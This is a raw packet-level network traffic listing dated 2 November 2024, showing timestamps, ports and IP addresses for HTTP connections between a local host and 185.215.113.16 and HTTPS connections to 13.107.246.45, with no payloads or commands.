Nov 2, 2024 07:16:14.694341898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694354057 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694364071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694384098 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694399118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694411039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694411993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694423914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694431067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694442987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694468975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694474936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694488049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694498062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694510937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694521904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694525957 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694546938 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694561005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.694632053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.694672108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.695663929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.695705891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.729234934 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.729413033 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.729470968 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.729511976 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.729530096 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.729543924 CET	63825	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.729551077 CET	443	63825	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.734509945 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.734592915 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.734692097 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.734831095 CET	63830	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.734853983 CET	443	63830	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.740278959 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.740303040 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.740343094 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.740361929 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.740396023 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.752585888 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.752585888 CET	63826	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.752628088 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.752651930 CET	443	63826	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.755357027 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.755424023 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.755511999 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.755702972 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.755738020 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.763145924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763165951 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763175011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763184071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763195038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763197899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763200045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763211966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763221025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763233900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763242960 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763254881 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763281107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763290882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763298035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763307095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763319969 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763323069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763334990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763345957 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763353109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763379097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763698101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763710976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763719082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763730049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763737917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763746977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763747931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763758898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763760090 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763777018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763786077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763789892 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763797998 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763819933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763838053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763850927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763861895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.763876915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.763894081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764019012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764029026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764034986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764045000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764055014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764062881 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764077902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764111042 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764183998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764195919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764205933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764215946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764224052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764228106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764234066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764240026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764251947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764259100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764262915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764276028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764285088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764307976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764333010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764334917 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764349937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764362097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764372110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764372110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764379025 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764384985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764395952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764400959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764409065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764410973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764448881 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764488935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764504910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764508963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764517069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764529943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764537096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764544010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764554977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764559984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764566898 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764576912 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764579058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764600992 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764627934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764642954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764708996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.764833927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764844894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.764888048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765017986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765028954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765038967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765049934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765057087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765060902 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765070915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765084028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765084028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765095949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765103102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765106916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765117884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765141964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765167952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765180111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765208006 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765345097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765357018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765367985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765377045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765378952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765392065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765400887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765403986 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765433073 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765492916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765506029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765516043 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765522003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765528917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.765552044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.765575886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.808229923 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.808410883 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.808485985 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.808651924 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.808665037 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.808679104 CET	63828	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.808685064 CET	443	63828	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.810789108 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.810818911 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.810909986 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.811018944 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.811031103 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.811060905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811072111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811081886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811115026 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811139107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811161041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811528921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811537981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811547995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811558008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811578035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811598063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811655045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811682940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811693907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811701059 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811727047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811728954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811738014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811743021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811763048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811772108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811945915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811959028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811970949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811983109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.811988115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.811995029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812016010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812025070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812036037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812043905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812047005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812056065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812078953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812104940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812108040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812120914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812163115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812190056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812202930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812212944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812227011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812237024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812243938 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812254906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812257051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812268972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812278032 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812282085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812311888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812330008 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812403917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812419891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812431097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812442064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812454939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812462091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812465906 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812495947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812509060 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812805891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812859058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812870026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812881947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812892914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812902927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812911034 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812925100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812947989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.812974930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.812994957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813004017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813018084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813029051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813035011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813045979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813055038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813056946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813065052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813087940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813107967 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813234091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813246965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813257933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813270092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813287020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813312054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813318014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813325882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813349009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813381910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813390017 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813401937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813424110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813436031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813440084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813452959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813482046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813536882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813546896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813559055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813569069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813580990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813582897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813602924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813613892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813615084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813626051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813630104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813649893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813657045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813667059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813679934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813689947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.813689947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813700914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.813735008 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.825495005 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.825561047 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.825643063 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.825756073 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.825756073 CET	63827	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.825766087 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.825776100 CET	443	63827	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.827549934 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.827579975 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.827662945 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.827759981 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.827771902 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.881865025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.881942987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.881974936 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882014036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882020950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882034063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882059097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882088900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882148027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882276058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882287025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882324934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882334948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882344961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882354975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882368088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882376909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882404089 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.882422924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882435083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.882443905 CET	80	63819	185.215.113.16	192.168.2.4
